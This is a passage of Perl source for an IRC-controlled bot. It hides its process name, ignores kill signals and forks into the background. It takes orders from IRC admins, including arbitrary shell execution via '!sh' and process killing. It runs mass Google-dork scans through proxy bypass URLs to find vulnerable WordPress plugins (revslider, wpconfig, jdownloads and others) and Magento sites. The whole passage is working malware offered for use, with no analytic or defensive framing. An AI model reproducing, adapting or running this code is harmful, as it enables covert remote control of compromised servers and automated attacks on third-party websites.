my @racrew  = ($bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))]);
my @pgfa = ( "?____pgfa=https%3A%2F%2Fwww.google.com%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.de%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.co.uk%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.com.my%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.com.sg%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.ru%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.ro%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.de%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.ca%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.fr%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.co.id%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.ru%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.fr%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.de%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.com%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.com.my%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.com.br%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.com.br%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.co.uk%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.ne%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.co.mz%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.com.sg%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.com.mx%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.com.mx%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.de%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.ru%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.ro%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.co.id%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.at%2Fsearch?q=","?____pgfa=https%3A%2F%2Fwww.google.nl%2Fsearch?q=");           
#########################################################################################################
$SIG{'INT'}   = 'IGNORE';
$SIG{'HUP'}   = 'IGNORE';
$SIG{'TERM'}  = 'IGNORE';
$SIG{'CHLD'}  = 'IGNORE';
$SIG{'PS'}    = 'IGNORE';

$0 = "$fakeproc"."\0" x 16;

my $pid = fork;
exit if $pid;
die "\n[!] ERORR BRO.....!!!: $!\n\n" unless defined($pid);

our %irc_servers;
our %DCC;
my $dcc_sel    = new IO::Select->new();
my $sel_client = IO::Select->new();

sub sendraw {
    if ($#_ == '1') {
    	my $socket = $_[0];
    	print $socket "$_[1]\n";
    } else {
        print $IRC_cur_socket "$_[0]\n";
    }
}

sub connector {
    my ($mynick, $ircserver_con, $ircport_con) = @_;
	
	my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
    
    if (defined($IRC_socket)) {
        $IRC_cur_socket = $IRC_socket;
        $IRC_socket->autoflush(1);
        $sel_client->add($IRC_socket);
        $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
        $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
        $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
        $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
        &nick("$mynick");
        sendraw("USER ".$data{"ident"}." ".$IRC_socket->sockhost." $ircserver_con : ".$data{"fullname"});
        sleep(1);
    }
    
}

sub parse {
    my $servarg = shift;
    if ($servarg =~ /^PING \:(.*)/) {
        sendraw("PONG :$1");
    }
    elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
        if (lc($1) eq lc($mynick)) {
            $mynick = $4;
            $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
        }
    }
    elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
        &nick($mynick.int(rand(5)));
    }
    elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
        $mynick = $2;
        $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
        if($data{"debug"} ne $data{"channel"}) {
            sendraw("JOIN ".$data{"debug"}." ".$data{"debugKey"});
        }
        sendraw("JOIN ".$data{"channel"}." ".$data{"chanKey"});
        sleep(2);
	    sendraw("ns identify coiInside");
    }
}

my $line_temp;

while(1) {
    
    while (!(keys(%irc_servers))) { connector($data{"nick"}, $data{"server"}, $data{"port"}); }
    select(undef, undef, undef, 0.01);
    
    delete($irc_servers{''}) if (defined($irc_servers{''}));
    my @ready = $sel_client->can_read(0);
    next unless(@ready);
    
    foreach my $fh (@ready) {
        $IRC_cur_socket = $fh;
        $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
        $nread = sysread($fh, $ircmsg, 4096);
        
        if ($nread == 0) {
            $sel_client->remove($fh);

            $fh->close;
            delete($irc_servers{$fh});
        }
        
        @lines = split (/\n/, $ircmsg);
        $ircmsg =~ s/\r\n$//;
        
        if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
            my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);			
            if ($path eq $mynick) {
				
				#############  PM BASE COMMANDS #################
                if ($msg =~ /^PING (.*)/) {sendraw("NOTICE $nick :PING $1");}
				if ($msg =~ /^VERSION/) { sendraw("NOTICE $nick :VERSION mIRC v6.21 Khaled Mardam-Bey");}
				if ($msg =~ /^TIME/) { sendraw("NOTICE $nick :TIME ".$datetime."");}
				if (&isAdmin($nick) && $msg eq "!die") { &shell("$path","kill -9 $$");}
				if (&isAdmin($nick) && $msg eq "!killall") { &shell("$path","killall -9 perl");}
				if (&isAdmin($nick) && $msg eq "!reset") { sendraw($art{"front"}."15QUIT:14RESTARTING...".$art{"back"});}
                if (&isAdmin($nick) && $msg eq "!harakiri") { &shell("$path","kill -9 `ps ax |grep ".$fakeproc." |grep -v grep|awk '{print $1;}'`");}
				if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) { sendraw("JOIN #".$1);}
				if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) { sendraw("PART #".$1);}
				if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) { sendraw("NICK ".$1);}
				if (&isAdmin($nick) && $msg =~ /^!pid/) {sendraw($IRC_cur_socket, "PRIVMSG $nick :Fake Process/PID : $fakeproc - $$");}
				if (&isAdmin($nick) && $msg =~ /^!sh (.+)/) { &shell("$nick",$1);}
				if (&isAdmin($nick) && $msg =~ /^!raw (.+)/) {sendraw("$rawmsg $msgraw ".$1);}
				if (&isAdmin($nick) && $msg =~ /^!act (.+)/) { sendraw("PRIVMSG $rawmsg :ACTION ".$1."");}
                if (&isAdmin($nick) && $msg =~ /^!timeout\s+(.*) -d/) {
					$newtimot = $1;
					$timeout = $newtimot;
					&msg("$nick","9,1 Get Content TimeOut change to4 $timeout ");
				}
                #!stats injector
                if(&isAdmin($nick) && $msg =~ /^!stats\s+(.+?)\s+(.*)/) {
                    my $cmd = lc($1);
                    my $show = $2;
                    
                    if($cmd eq "bypass") {
                        my $num = scalar(@racrew);
                        my $safe = "14OFF";
                        my $start = 0;
                        my $end = 10;
                        
                        if($show == 2) { $start = 10; $end = 20;
                        } elsif ($show == 3) { $start = 20; $end = 30;}
                        
                        if(scalar(@racrew) > 0) {
                            for(my $i = $start; $i < $end;$i++) {
                                my $id = $i + 1;
                                my $url = $racrew[$i].$pgfa[$i]."coi";
                                my $res = &get_content($url);
                                sleep(5);
                                
                                if($res =~ /coi/ig) { $safe = "9ON";}
                                &msg("$nick",$art{"front"}."10ID:$id".$art{"div"}."STATUS : $safe".$art{"div"}."$racrew[$i]".$art{"back"});
                            }
                        }
                    }
                }
                
                if(&isAdmin($nick) && $msg =~ /^!set\s+(.+?)\s+(.+?)\s+(.*)/) {
                    my $cmd = lc($1);
                    
                    if($cmd eq "bypass") {
                        my $id  = $2;
                        my $req = ($id - 1);
                        my $url = $3;
                        
                        if(substr($url,0,7) ne "http://") {
                            &msg("$nick",$art{"front"}."10$nick".$art{"div"}."Please use http:// example:http://<site>/<path>/proxy.php".$art{"back"});
                        } elsif(substr($url,-3) ne "php") {
                            &msg("$nick",$art{"front"}."10$nick".$art{"div"}."Please use php extension".$art{"back"});
                        } else {
                            $racrew[$req] = "";
                            $racrew[$req] = $url;   
                            sleep(3);
                            &msg("$nick",$art{"front"}."Bypass id $id set to $racrew[$req]".$art{"back"});
                        }
                    }
                }
                
                #!show bypass 1
                if(&isAdmin($nick) && $msg =~ /^!show\s+(.+?)\s+(.*)/) {
                    my $cmd = lc($1);
                    my $show = $2;
                    
                    if($cmd eq "bypass") {
                        my $num = scalar(@racrew); 
                        my $start = 0;
                        my $end = 10;
                        
                        if($show == 2) { $start = 10; $end = 20;
                        } elsif ($show == 3) { $start = 20; $end = 30;}
                        
                        if(scalar(@racrew) > 0) {
                            for(my $i = $start; $i < $end;$i++) {
                                my $id = $i + 1;
                                &msg("$nick", $art{"front"}."10ID:$id".$art{"div"}."$racrew[$i]".$art{"back"});
                            }
                        }
                    }
                }
                
                if(&isAdmin($nick) && $msg =~ /^!1\s+(.*)/) {
                    my $cmd = lc($1);
                    
                    if($cmd eq "2") {
                        undef @racrew;
                        @racrew = ();
                        @racrew = ($bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))]);
                        &msg("$nick", $art{"front"}."Generating bypass done!!".$art{"back"});
                    }
                }
                
                if (&isAdmin($nick) && $msg =~ /^$cmd{"ninja"}\s+(.*)/) {
                    my $id = int(rand(9999)); 
                    if(!&isAdmin($nick)){ if($cLimit <= $limitScan) { $cLimit = ($cLimit + 1);}}
                    if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit;
						} else{                            
                            my $dork = &setDork($1);
                            &prepareScan($id,1,"coi",$dork,$nick,$nick);      
						}
					}
			   }
               
               if (&isAdmin($nick) && $msg =~ /^$cmd{"adsManager"}\s+(.*)/) {
                    my $id = int(rand(9999)); 
                    if(!&isAdmin($nick)){ if($cLimit <= $limitScan) { $cLimit = ($cLimit + 1);}}
                    if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit;
						} else{                            
                            my $dork = &setDork($1);
                            &prepareScan($id,2,"coi",$dork,$nick,$nick);      
						}
					}
			   }
               
               if (&isAdmin($nick) && $msg =~ /^$cmd{"myblog"}\s+(.*)/) {
                    my $id = int(rand(9999)); 
                    if(!&isAdmin($nick)){ if($cLimit <= $limitScan) { $cLimit = ($cLimit + 1);}}
                    if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit;
						} else{                            
                            my $dork = &setDork($1);
                            &prepareScan($id,3,"coi",$dork,$nick,$nick);      
						}
					}
			   }
               
               if (&isAdmin($nick) && $msg =~ /^$cmd{"jdownloads"}\s+(.*)/) {
                    my $id = int(rand(9999)); 
                    if(!&isAdmin($nick)){ if($cLimit <= $limitScan) { $cLimit = ($cLimit + 1);}}
                    if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit;
						} else{                            
                            my $dork = &setDork($1);
                            &prepareScan($id,4,"coi",$dork,$nick,$nick);      
						}
					}
			   }
               
               if (&isAdmin($nick) && $msg =~ /^$cmd{"revslider"}\s+(.*)/) {
                    my $id = int(rand(9999)); 
                    if(!&isAdmin($nick)){ if($cLimit <= $limitScan) { $cLimit = ($cLimit + 1);}}
                    if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit;
						} else{                            
                            my $dork = &setDork($1);
                            &prepareScan($id,5,"coi",$dork,$nick,$nick);      
						}
					}
			   }
               
               if (&isAdmin($nick) && $msg =~ /^$cmd{"wpconfig"}\s+(.*)/) {
                    my $id = int(rand(9999)); 
                    if(!&isAdmin($nick)){ if($cLimit <= $limitScan) { $cLimit = ($cLimit + 1);}}
                    if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit;
						} else{                            
                            my $dork = &setDork($1);
                            &prepareScan($id,6,"coi",$dork,$nick,$nick);      
						}
					}
			   }
               
               if (&isAdmin($nick) && $msg =~ /^$cmd{"magento"}\s+(.*)/) {
                    my $id = int(rand(9999)); 
                    if(!&isAdmin($nick)){ if($cLimit <= $limitScan) { $cLimit = ($cLimit + 1);}}
                    if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit;
						} else{                            
                            my $dork = &setDork($1);
                            &prepareScan($id,7,"coi",$dork,$nick,$nick);      
						}
					}
			   }
               
               if (&isAdmin($nick) && $msg =~ /^$cmd{"cfgcontact"}\s+(.*)/) {
                    my $id = int(rand(9999)); 
                    if(!&isAdmin($nick)){ if($cLimit <= $limitScan) { $cLimit = ($cLimit + 1);}}
                    if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit;
						} else{                            
                            my $dork = &setDork($1);
                            &prepareScan($id,8,"coi",$dork,$nick,$nick);      
						}
					}
			   }
               
            } else {
			   ##############  ROOM   #################   
               if (&isAdmin($nick) && $msg eq "!die") { &shell("$path","kill -9 -1");}
               if (&isAdmin($nick) && $msg eq "!mampus") { &shell("$path","killall -9 perl");}
               if (&isAdmin($nick) && $msg eq "!ver") { &showVersion($path);}
               
               if ($msg eq "!help") {
                    if(&isAdmin($nick)) {
                        &msg($path,$art{"front"}."5HELP".$art{"div"}.$wpclogo.$art{"div"}.$cmd{"wpconfig"}." <dork>           ".$art{"back"});
                        &msg($path,$art{"front"}."5HELP".$art{"div"}.$maglogo.$art{"div"}.$cmd{"magento"}." <dork>            ".$art{"back"});
                        &msg($path,$art{"front"}."5HELP".$art{"div"}.$ninjalogo.$art{"div"}.$cmd{"ninja"}." <dork>".$art{"back"});
                        &msg($path,$art{"front"}."5HELP".$art{"div"}.$bloglogo.$art{"div"}.$cmd{"myblog"}." <dork>            ".$art{"back"});
                        &msg($path,$art{"front"}."5HELP".$art{"div"}.$revlogo.$art{"div"}.$cmd{"revslider"}." <dork>          ".$art{"back"});
                        &msg($path,$art{"front"}."5HELP".$art{"div"}.$jdlogo.$art{"div"}.$cmd{"jdownloads"}." <dork>         ".$art{"back"});
                        &msg($path,$art{"front"}."5HELP".$art{"div"}.$adslogo.$art{"div"}.$cmd{"adsManager"}." <dork>         ".$art{"back"});
                        &msg($path,$art{"front"}."5HELP".$art{"div"}.$cfglogo.$art{"div"}.$cmd{"cfgcontact"}." <dork>        ".$art{"back"});
                        
                    } else {
                        &msg($path,$art{"front"}."            --14Im on Private mode--            ".$art{"back"});
                        &msg($path,$art{"front"}."          Contact 4".$data{"admin"}."15 For more info          ".$art{"back"});
                    }
               }
               
               if(&isAdmin($nick) && $msg =~ /^!1\s+(.*)/) {
                    my $cmd = lc($1);
                    if($cmd eq "2") {
                        undef @racrew;
                        @racrew = ();
                        @racrew = ($bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))]);
                        sleep(1);
                        &notice("$nick", "Generating bypass done!!");
                    }
               }

               if ($msg =~ /^$cmd{"ninja"}\s+(.*)/) {
                    my $id = int(rand(9999)); 
                    if(!&isAdmin($nick)){ if($cLimit <= $limitScan) { $cLimit = ($cLimit + 1);}}
                    if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit;
						} else{                            
                            my $dork = &setDork($1);
                            &prepareScan($id,1,"coi",$dork,$path,$nick);      
						}
					}
			   }
               
               if ($msg =~ /^$cmd{"adsManager"}\s+(.*)/) {
                    my $id = int(rand(9999)); 
                    if(!&isAdmin($nick)){ if($cLimit <= $limitScan) { $cLimit = ($cLimit + 1);}}
                    if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit;
						} else{                            
                            my $dork = &setDork($1);
                            &prepareScan($id,2,"coi",$dork,$path,$nick);      
						}
					}
			   }
               
               if ($msg =~ /^$cmd{"myblog"}\s+(.*)/) {
                    my $id = int(rand(9999)); 
                    if(!&isAdmin($nick)){ if($cLimit <= $limitScan) { $cLimit = ($cLimit + 1);}}
                    if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit;
						} else{                            
                            my $dork = &setDork($1);
                            &prepareScan($id,3,"coi",$dork,$path,$nick);      
						}
					}
			   }
               
               if ($msg =~ /^$cmd{"jdownloads"}\s+(.*)/) {
                    my $id = int(rand(9999)); 
                    if(!&isAdmin($nick)){ if($cLimit <= $limitScan) { $cLimit = ($cLimit + 1);}}
                    if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit;
						} else{                            
                            my $dork = &setDork($1);
                            &prepareScan($id,4,"coi",$dork,$path,$nick);      
						}
					}
			   }
               
               if ($msg =~ /^$cmd{"revslider"}\s+(.*)/) {
                    my $id = int(rand(9999)); 
                    if(!&isAdmin($nick)){ if($cLimit <= $limitScan) { $cLimit = ($cLimit + 1);}}
                    if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit;
						} else{                            
                            my $dork = &setDork($1);
                            &prepareScan($id,5,"coi",$dork,$path,$nick);      
						}
					}
			   }
               
               if ($msg =~ /^$cmd{"wpconfig"}\s+(.*)/) {
                    my $id = int(rand(9999)); 
                    if(!&isAdmin($nick)){ if($cLimit <= $limitScan) { $cLimit = ($cLimit + 1);}}
                    if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit;
						} else{                            
                            my $dork = &setDork($1);
                            &prepareScan($id,6,"coi",$dork,$path,$nick);      
						}
					}
			   }
               
               if ($msg =~ /^$cmd{"magento"}\s+(.*)/) {
                    my $id = int(rand(9999)); 
                    if(!&isAdmin($nick)){ if($cLimit <= $limitScan) { $cLimit = ($cLimit + 1);}}
                    if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit;
						} else{                            
                            my $dork = &setDork($1);
                            &prepareScan($id,7,"coi",$dork,$path,$nick);      
						}
					}
			   }
               
               if ($msg =~ /^$cmd{"cfgcontact"}\s+(.*)/) {
                    my $id = int(rand(9999)); 
                    if(!&isAdmin($nick)){ if($cLimit <= $limitScan) { $cLimit = ($cLimit + 1);}}
                    if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit;
						} else{                            
                            my $dork = &setDork($1);
                            &prepareScan($id,8,"coi",$dork,$path,$nick);      
						}
					}
			   }
               
               ##############  ROOM   #################	
	       } #end else
        } #end if
        
        for(my $c=0; $c<= $#lines; $c++) {
            $line = $lines[$c];
            $line = $line_temp.$line if ($line_temp);
            $line_temp = '';
            $line =~ s/\r$//;
            unless ($c == $#lines) {

                parse("$line");
            } else {
                if ($#lines == 0) {
                    parse("$line");
                } elsif ($lines[$c] =~ /\r$/) {
                    parse("$line");
                } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
                    parse("$line");
                } else {
                    $line_temp = $line;
                }
            }
        }
        
    } #end foreach $fh

} #end while

sub prepareScan {
    my($id,$tipe,$bug,$dork,$chan,$nick) = @_;
    
    my $private = &checkPrivacy($nick);
    
    if(!$private) {
        my $limit = &checkLimit($nick);
        
        if($limit){
            if(!&isAdmin($nick)) {
                &msg($data{"debug"},$art{"front"}."Got request $logo by 10$nick15 at 7".$chan.$art{"back"});
            }
            
            if(scalar(@bypass) <= 0) {
                &msg("$chan",$art{"front"}."10$nick".$art{"div"}."You don't give me any bypass".$art{"back"});
                &msg("$chan",$art{"front"}."10$nick".$art{"div"}."Okay,Then I'll generate default Bypass for you..Please Wait".$art{"back"});
                &generateBypass("bypass");
                sleep(3);
                &msg("$chan",$art{"front"}."10$nick".$art{"div"}."Bypass allready push...".$art{"back"});
            }
            
            &msg("$chan",$art{"front"}."                                   ".$art{"back"});
            &msg("$chan", $art{"front"}."5".uc($nick).$art{"div"}."15CREATING YOU14R ID...         ".$art{"back"});
            sleep(1);
            &msg("$chan", $art{"front"}."5".uc($nick).$art{"div"}."15YOU14R ID :14 $id              ".$art{"back"});     
            &msg($data{"channel"},$art{"front"}."       14--15SCANNING STA14RTED--        ".$art{"back"});
            &sendraw("MODE ".$data{"channel"}." +m"); 
            &se_start($data{"channel"},$bug,$dork,$sEngine,$tipe,$nick,$id);
            sleep(4);
        
        } else {
            &msg("$chan",$art{"front"}."10$nick".$art{"div"}."Out of limit".$art{"back"});
            &msg("$chan",$art{"front"}."10$nick".$art{"div"}."I only can take $limitScan request".$art{"back"});
            exit;
        }
    } else {
        &msg("$chan",$art{"front"}."10$nick".$art{"div"}."Sorry, Im on Private Mode".$art{"back"});
        exit;
    }
}

sub se_start {
    my ($chan,$bug,$dork,$engine,$type,$nick, $id) = @_;

   #------------------------- GOOGLE -----------------------------------------#
    if ($engine =~ /googleAE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAE",$type,$nick,$id); } exit; } }
if ($engine =~ /googleCZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCZ",$type,$nick,$id); } exit; } }
if ($engine =~ /googleHU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeHU",$type,$nick,$id); } exit; } }
if ($engine =~ /googleID/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeID",$type,$nick,$id); } exit; } }
if ($engine =~ /googlePH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePH",$type,$nick,$id); } exit; } }
if ($engine =~ /googleSI/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeSI",$type,$nick,$id); } exit; } }
if ($engine =~ /googleVN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeVN",$type,$nick,$id); } exit; } }
if ($engine =~ /googleRS/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeRS",$type,$nick,$id); } exit; } }
if ($engine =~ /googleSG/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeSG",$type,$nick,$id); } exit; } }
if ($engine =~ /googlePK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLePK",$type,$nick,$id); } exit; } }
if ($engine =~ /googleME/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeME",$type,$nick,$id); } exit; } }
if ($engine =~ /googleKZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeKZ",$type,$nick,$id); } exit; } }
if ($engine =~ /googleAF/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAF",$type,$nick,$id); } exit; } }
if ($engine =~ /googleAL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAL",$type,$nick,$id); } exit; } }
if ($engine =~ /googleDZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeDZ",$type,$nick,$id); } exit; } }
if ($engine =~ /googleAO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAO",$type,$nick,$id); } exit; } }
if ($engine =~ /googleAM/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAM",$type,$nick,$id); } exit; } }
if ($engine =~ /googleAZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeAZ",$type,$nick,$id); } exit; } }
if ($engine =~ /googleBH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBH",$type,$nick,$id); } exit; } }
if ($engine =~ /googleBD/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBD",$type,$nick,$id); } exit; } }
if ($engine =~ /googleBY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBY",$type,$nick,$id); } exit; } }
if ($engine =~ /googleBT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBT",$type,$nick,$id); } exit; } }
if ($engine =~ /googleBO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBO",$type,$nick,$id); } exit; } }
if ($engine =~ /googleBA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBA",$type,$nick,$id); } exit; } }
if ($engine =~ /googleBG/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBG",$type,$nick,$id); } exit; } }
if ($engine =~ /googleBN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeBN",$type,$nick,$id); } exit; } }
if ($engine =~ /googleKH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeKH",$type,$nick,$id); } exit; } }
if ($engine =~ /googleCM/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCM",$type,$nick,$id); } exit; } }
if ($engine =~ /googleCR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCR",$type,$nick,$id); } exit; } }
if ($engine =~ /googleHR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeHR",$type,$nick,$id); } exit; } }
if ($engine =~ /googleCU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCU",$type,$nick,$id); } exit; } }
if ($engine =~ /googleCY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLeCY",$type,$nick,$id); } exit; } }
